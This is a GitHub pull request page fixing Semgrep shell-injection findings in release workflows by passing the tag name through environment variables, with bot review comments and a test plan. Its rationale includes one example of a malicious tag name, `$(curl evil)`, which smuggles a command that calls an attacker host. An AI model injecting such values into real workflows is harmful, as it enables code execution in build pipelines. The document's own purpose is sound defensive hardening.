fix(workflow): pass github.ref_name via env to fix Semgrep shell-injection block - #229
Conversation
Move `github.ref_name` interpolation out of `run:` blocks into `env:`, then reference the env var with quoted `"$REF_NAME"` in the shell. Resolves 5 Semgrep blocking findings (yaml.github-actions.security .run-shell-injection.run-shell-injection) currently failing every PR on main, including dependabot bumps and unrelated infra work. Same fix applied to templates/universal/release.yml so the user-facing template stays in sync (per CLAUDE.md template-sync rule; scripts/lib/check-template-sync.sh passes).
|
Warning Review limit reached
Your plan currently allows 1 review/hour. Refill in 29 minutes and 30 seconds. Your organization has run out of usage credits. Purchase more in the billing tab. ⌛ How to resolve this issue?After more review capacity refills, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans have higher rate limits than trial, open-source, and free plans. In all cases, review capacity refills continuously over time. Please see our FAQ for further information. ℹ️ Review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (2)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Pull request overview
This PR addresses Semgrep run-shell-injection findings in the release workflows by avoiding direct ${{ github.ref_name }} interpolation inside run: blocks, while keeping the repository’s release workflow and the user-facing release template in sync.
Changes:
- Hoists
github.ref_nameinto stepenv:and references it from shell variables ("$REF_NAME") in.github/workflows/release.yml. - Applies the same adjustment in
templates/universal/release.ymlto prevent template-sync drift.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.
| File | Description |
|---|---|
.github/workflows/release.yml |
Replaces direct ${{ github.ref_name }} usage inside run: blocks with a step env var reference. |
templates/universal/release.yml |
Mirrors the same ref_name handling change in the universal release template. |
Comments suppressed due to low confidence (3)
.github/workflows/release.yml:363
- This workflow already uses
GITHUB_REF_NAMEelsewhere. Using it here would avoid repeatingREF_NAME: ${{ github.ref_name }}across steps and keeps tag naming consistent within the file.
env:
GH_TOKEN: ${{ github.token }}
REF_NAME: ${{ github.ref_name }}
run: |
TAG="$REF_NAME"
.github/workflows/release.yml:410
- Same as above: prefer the built-in
GITHUB_REF_NAMEover a separateREF_NAMEenv var for consistency and less duplication.
env:
GH_TOKEN: ${{ github.token }}
REF_NAME: ${{ github.ref_name }}
run: |
TAG="$REF_NAME"
.github/workflows/release.yml:462
- The step can use the built-in
GITHUB_REF_NAMEdirectly (already used earlier in the workflow) and drop the extraREF_NAMEenv block.
env:
REF_NAME: ${{ github.ref_name }}
run: |
TAG="$REF_NAME"
…nv var Address Copilot review on #229: the runner already provides $GITHUB_REF_NAME, which is used by earlier steps in the same workflow. Drop the redundant `REF_NAME: ${{ github.ref_name }}` env hop and reference the built-in variable directly. Same change applied to templates/universal/release.yml for consistency. Still fixes the Semgrep run-shell-injection findings (no ${{ ... }} interpolation inside run: blocks).
Summary
run-shell-injectionfindings on${{ github.ref_name }}used directly insiderun:blocks ofrelease.yml.github.ref_nameinto the step'senv:block and reference it as"$REF_NAME"in the shell. Standard GitHub-recommended pattern (https://sg.run/pkzk).templates/universal/release.ymlso user-facing templates do not regress (CLAUDE.md template-sync rule).Why it matters
github.ref_namefor tag-triggered workflows is attacker-controllable in the abstract (a malicious push of a tag named$(curl evil)would inject). Quoting the env var defuses that.Test plan
bash scripts/lib/check-template-sync.sh→ PASSbash tests/test_compliance.sh→ 4/4 PASSbash tests/test-scanner.sh→ 118/118 PASSgrep -rn 'github\.ref_name' .github/ templates/→ onlyenv:references remain (norun:interpolation)Unblocks
Once merged, rebase the 3 open PRs and Semgrep should go green: